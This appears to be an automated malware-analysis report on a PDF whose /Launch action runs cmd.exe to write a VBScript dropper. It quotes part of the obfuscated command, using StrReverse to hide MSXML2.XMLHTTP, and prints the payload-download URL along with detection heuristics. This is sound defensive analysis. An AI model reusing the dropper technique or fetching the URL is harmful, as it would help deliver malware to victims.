MITRE ATT&CK
T1059.003 Windows Command Shell T1204.002 Malicious File

The PDF contains a launch action that executes cmd.exe. This command attempts to construct and save a VBScript file named 'm.vbs' by concatenating strings and using WScript.Shell to write to disk. The script likely downloads a second-stage payload from the embedded URL http://02.becfu.in/x/img.php?d=1. The ML classifier strongly indicates maliciousness.

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://02.becfu.in/x/img.php?d=1
